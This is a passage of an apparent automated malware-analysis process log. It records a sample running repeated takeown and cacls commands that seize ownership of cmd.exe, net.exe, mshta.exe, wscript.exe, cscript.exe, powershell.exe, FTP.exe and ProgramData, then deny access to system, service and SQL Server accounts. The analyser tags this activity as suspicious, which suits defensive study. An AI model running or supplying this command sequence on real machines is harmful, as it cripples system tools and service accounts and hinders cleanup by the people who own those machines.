C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cmd.exe /e /g system:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cmd.exe /e /d mssql$sqlexpress3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\cmd.exe /a3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cmd.exe /g Administrators:f3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cmd.exe /e /g Users:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cmd.exe /e /g Administrators:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cmd.exe /e /d SERVICE3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cmd.exe /e /d mssqlserver3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cmd.exe /e /d "network service"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cmd.exe /e /g system:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cmd.exe /e /d mssql$sqlexpress3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\system32\net.exe /a3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net.exe /g Administrators:f3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net.exe /e /g Users:r3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net.exe /e /g Administrators:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net.exe /e /d "network service"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net.exe /e /d mssqlserver3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net.exe /e /d SERVICE3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net.exe /e /d system3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net.exe /e /d mssql$sqlexpress3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\net.exe /a3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net.exe /g Administrators:f3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net.exe /e /g Users:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net.exe /e /g Administrators:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net.exe /e /d SERVICE3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net.exe /e /d mssqlserver3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net.exe /e /d "network service"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net.exe /e /d system3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net.exe /e /d mssql$sqlexpress3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\system32\net1.exe /a3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net1.exe /g Administrators:f3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net1.exe /e /g Users:r3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net1.exe /e /g Administrators:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net1.exe /e /d SERVICE3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net1.exe /e /d mssqlserver3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net1.exe /e /d "network service"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net1.exe /e /d system3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net1.exe /e /d mssql$sqlexpress3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\net1.exe /a3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net1.exe /g Administrators:f3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net1.exe /e /g Users:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net1.exe /e /g Administrators:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net1.exe /e /d SERVICE3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net1.exe /e /d mssqlserver3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net1.exe /e /d "network service"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net1.exe /e /d system3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net1.exe /e /d mssql$sqlexpress3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\system32\mshta.exe /a3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\mshta.exe /g Administrators:f3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\mshta.exe /e /g Users:r3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\mshta.exe /e /g Administrators:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\mshta.exe /e /d SERVICE3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\mshta.exe /e /d mssqlserver3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\mshta.exe /e /d "network service"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\mshta.exe /e /d system3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\mshta.exe /e /d mssql$sqlexpress3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\mshta.exe /a3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\mshta.exe /g Administrators:f3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\mshta.exe /e /g Users:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\mshta.exe /e /g Administrators:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\mshta.exe /e /d SERVICE3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\mshta.exe /e /d mssqlserver3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\mshta.exe /e /d "network service"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\mshta.exe /e /d system3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\mshta.exe /e /d mssql$sqlexpress3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\system32\FTP.exe /a3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\FTP.exe /g Administrators:f3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\FTP.exe /e /g Users:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\FTP.exe /e /g Administrators:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\FTP.exe /e /d SERVICE3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\FTP.exe /e /d mssqlserver3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\FTP.exe /e /d "network service"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\FTP.exe /e /d system3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\FTP.exe /e /d mssql$sqlexpress3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\FTP.exe /a3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\FTP.exe /g Administrators:f3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\FTP.exe /e /g Users:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\FTP.exe /e /g Administrators:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\FTP.exe /e /d SERVICE3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\FTP.exe /e /d mssqlserver3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\FTP.exe /e /d "network service"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\FTP.exe /e /d system3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\FTP.exe /e /d mssql$sqlexpress3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\system32\wscript.exe /a3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\wscript.exe /g Administrators:f3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\wscript.exe /e /g Users:r3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\wscript.exe /e /g Administrators:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\wscript.exe /e /d SERVICE3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\wscript.exe /e /d mssqlserver3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\wscript.exe /e /d "network service"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\wscript.exe /e /d system3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\wscript.exe /e /d mssql$sqlexpress3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\wscript.exe /a3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\wscript.exe /g Administrators:f3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\wscript.exe /e /g Users:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\wscript.exe /e /g Administrators:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\wscript.exe /e /d SERVICE3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\wscript.exe /e /d mssqlserver3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\wscript.exe /e /d "network service"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\wscript.exe /e /d system3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\wscript.exe /e /d mssql$sqlexpress3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\system32\cscript.exe /a3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cscript.exe /g Administrators:f3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cscript.exe /e /g Users:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cscript.exe /e /g Administrators:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cscript.exe /e /d SERVICE3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cscript.exe /e /d mssqlserver3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cscript.exe /e /d "network service"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cscript.exe /e /d system3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cscript.exe /e /d mssql$sqlexpress3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\cscript.exe /a3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cscript.exe /g Administrators:f3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cscript.exe /e /g Users:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cscript.exe /e /g Administrators:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cscript.exe /e /d SERVICE3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cscript.exe /e /d mssqlserver3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cscript.exe /e /d "network service"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cscript.exe /e /d system3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cscript.exe /e /d mssql$sqlexpress3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /a3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /g Administrators:f3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /g Users:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /g Administrators:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /d SERVICE3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /d mssqlserver3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /d "network service"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /d system3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /d mssql$sqlexpress3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /a3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /g Administrators:f3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /g Users:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /g Administrators:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d SERVICE3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d mssqlserver3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d "network service"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d system3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d mssql$sqlexpress3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\ProgramData /a3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\ProgramData /g Administrators:f3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\ProgramData /e /g Users:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\ProgramData /e /g Administrators:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
